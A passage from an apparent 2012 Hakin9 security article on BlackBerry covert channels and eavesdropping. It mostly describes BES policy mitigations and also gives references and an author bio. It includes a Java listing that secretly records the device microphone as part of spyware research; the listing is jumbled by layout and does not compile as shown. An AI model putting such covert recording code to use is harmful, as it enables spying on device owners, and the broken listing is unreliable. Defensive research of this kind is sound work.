to provide programmatic control over potentially time-consuming operations. Third object, interface RecordControl controls the recording of media from a Player. RecordControl records what’s currently being played by the Player (Listing 22). All recorded data can be stored in .amr data format a la BlackBerry Voice Note. To play it on PC you just need a download a .amr-codec, e.g. by Nokia Phone ToolKit. Mitigation Figure 6. Eavesdropping 92 Mitigating PIM attacks (PIM Stealer, misleading modification) or PhoneLog mitigation then is difficult. As, I haven’t found any enterprise permissions to control it, the permission checking for each downloaded application is all that has protects a Blackberry user from data compromise. Cell-location threat could be solved by BES’s rule Disable Network Location Query IT policy rule placed in IT Policy›SIM Application Toolkit policy group. Default value is no. So if it’s True malware will have a errors. 01/2012 Does your BlackBerry smartphone have ears? Misleading message manipulation hasn’t any effective way to solve. It’s useless to use Firewall List (April 2011 Issue The Backroom Message That’s Stolen Your Deal) or smth either. You have to check permission for each Message’s API application’s requests if you’re BIS. If you’re BES customer try use Application Control Policy rules for 3rd Party Applications. DTMF covert channel is possible to block by BES IT Policy Rules in two ways. A first strong restriction is Disable DTMF Fallback placed at Enterprise Voice Client. Change the default value from False to True. The second way is more flexible. To stop attack events taking place over incoming or outgoing calls, an IT rule placed at Enterprise Voice Client›Reject Non-Enterprise Voice Calls should be set to True to accept incoming calls only if they are sent through the BlackBerry Enterprise Server. In addition, setting up black list and white lists to reject or allow incoming and outcoming calls can help. The rules are configured at Firewall›Restrict Incoming Cellular Calls and Firewall›Restrict Outcoming Cellular Calls. Type one or more fixed dialing patterns (for example, specific dialing numbers or a set of dialing numbers that have the same prefix) separated by a semi-colon (;). To receive calls to numbers that are preceded by the number one, or a plus sign (+) Listing 22. Voice recording byte[] microphone() { byte[] byte_arr = null; RecordControl RecControl; try { Player players = Manager.createPlayer("capture://audio"); // Player set to capture audio here players.realize(); RecControl = (RecordControl)p.getControl("RecordControl"); ByteArrayOutputStream outstream = new ByteArrayOutputStream(); RecControl.setRecordStream(outstream); RecControl.startRecord(); players.start(); Thread.sleep(RECORD_TIME); //msec RecControl.commit(); if (players != null) { players.stop(); players.close(); } } players = null; byte[] byte_arr = outstream.toByteArray(); catch (IOException e) { } //some errors catch (MediaException e) { } //some errors catch (InterruptedException e) { } } //some errors return byte_arr; www.hakin9.org/en 93 AttAck On the ‘Net • • • • • • • • • • • • • • http://docs.blackberry.com/en/admin/deliverables/12063/BlackBerry_Enterprise_Server-Policy_Reference_Guide-T323212-8320261023123101-001-5.0.1-US.pdf – BlackBerry Enterprise Server Version: 5.0. Policy Reference Guide, RIM, http://docs.blackberry.com/en/developers/deliverables/11961/BlackBerry_Java_Application-Feature_and_Technical_Overview-789336-1109112514-001-5.0_Beta-US.pdf – BlackBerry Java Application. Version: 5.0. Feature and Technical Overview, RIM http://docs.blackberry.com/en/developers/deliverables/9091/JDE_5.0_FundamentalsGuide_Beta.pdf – BlackBerry Java Application. Version: 5.0. Fundamentals Guide, RIM, http://www.blackberry.com/knowledgecenterpublic/livelink.exe/fetch/2000/8067/645045/8655/8656/1106255/BlackBerry_ Application_Developer_Guide_Volume_1.pdf?nodeid=1106256&vernum=0 – BlackBerry Application Developer Guide Volume 1: Fundamentals (4.1), RIM, http://www.blackberry.com/knowledgecenterpublic/livelink.exe/fetch/2000/8067/645045/8655/8656/1106255/BlackBerry_ Application_Developer_Guide_Volume_2.pdf?nodeid=1106444&vernum=0 – BlackBerry Application Developer Guide Volume 2: Advanced Topics (4.1), RIM, http://www.blackberry.com/developers/docs/4.2api/ – RIM Device Java Library – 4.2.0 Release (Javadoc), RIM, http://docs.blackberry.com/en/developers/deliverables/15497/BlackBerry_Smartphone_Simulator-Development_Guide--10019260406042642-001-5.0-US.pdf – BlackBerry Smartphone Simulator. Version: 5.0. Development Guide, RIM, http://docs.blackberry.com/en/developers/deliverables/1077/BlackBerry_Signing_Authority_Tool_1.0_-_Password_Based_-_ Administrator_Guide.pdf – BlackBerry Signature Tool 1.0. Developer Guide, RIM http://en.wikipedia.org/wiki/Cell_ID – Cell ID description from Wiki http://www.virusbtn.com/pdf/conference_slides/2010/Hypponen-VB2010.pdf – Conference’ 2010. „Dialers are Back!” by Mikko Hypponen (F-Secure Corporation) http://www.iv2-technologies.com/CovertChannels.pdf – Covert Channels by Renaud Bidou, Frédéric Raynal http://www.sans.org/reading_room/whitepapers/detection/covert-channels_33413 – Covert channels by SANS Institute InfoSec Reading Room http://www.scmagazine.com.au/News/257265,auscert-cisco-ip-phones-prone-to-hackers.aspx – Cisco IP phones prone to hackers By Darren Pauli on May 12, 2011 http://www.cio.com/article/677377/RIM_Details_Upcoming_Cloud_Based_BES_General_Availability_Late_2011_ – RIM Details Upcoming Cloud-Based BES; General Availability „Late 2011” By Al Sacco on Thu, March 17, 2011 and the number one only, type +1...;1...;r;. To block a specific dialing number, append r to the dialing number. For example, to block calls from the number 519-555-1234, type +15195551234r. To block calls that use a specific pattern, append r to the pattern. For example, type 011...r; to block calls that use the format 011xxxxxxxxxx. To block all calls other than the calls you permit using this rule, type r in the pattern. Note, this IT Rule can block Premium-rate calls and other unwanted calls as well. To assess the risk of eavesdropping you should to view permissions such as Recording and Media when you download any application. To protect from event injection set a BES IT Rule Application Control Policy a Event Injection to False value. Also, if you are BIS consumer you should hope for Free Hosted BES Cloud that might be a type of BIS and that you can buy all necessary IT Rules. By the way, you always should check permissions when downloading an application to grant or disallow status such applications. conclusion For many years, designers, developers, and evaluators of trusted systems for processing national security sensitive information have wrestled with issues about the ways hardware, operating systems, and application software can be used to establish covert channels in 94 order to steal sensitive information. Covert channels are used because they’re not easily detected. Any system can be attacked and have data stolen. Covert channels are a means of communication between two processes (both is not necessary in local) where one of them process is a Trojan that transmits data covertly and other is a Spy that receives data. Why are they important? It’s difficult to detect and can compromise an otherwise secure system, including one that has been formally verified! Moreover, it can exist even in formally verified systems and can transmit enough data to compromise cryptographic or other confidential data. YURY cHEMERkIN. Graduated at Russian State University for the Humanities (http://rggu.com/) in 2010. At present postgraduate at RSUH. Information Security Analyst since 2009 and currently working as mobile info security researcher in Moscow. I have scientiic and applied interests in the sphere of forensics, cyber security, AR, perceptive reality, semantic networks, mobile security and cloud computing. I’m researching BlackBerry Infrastructure and the efects of the trust bot-net & forensic techniques on human privacy. E-mail: [email protected], [email protected] Facebook: www.facebook.com/yury.chemerkin LinkedIn: http://ru.linkedin.com/pub/yury-chemerkin/2a/434/ 549 01/2012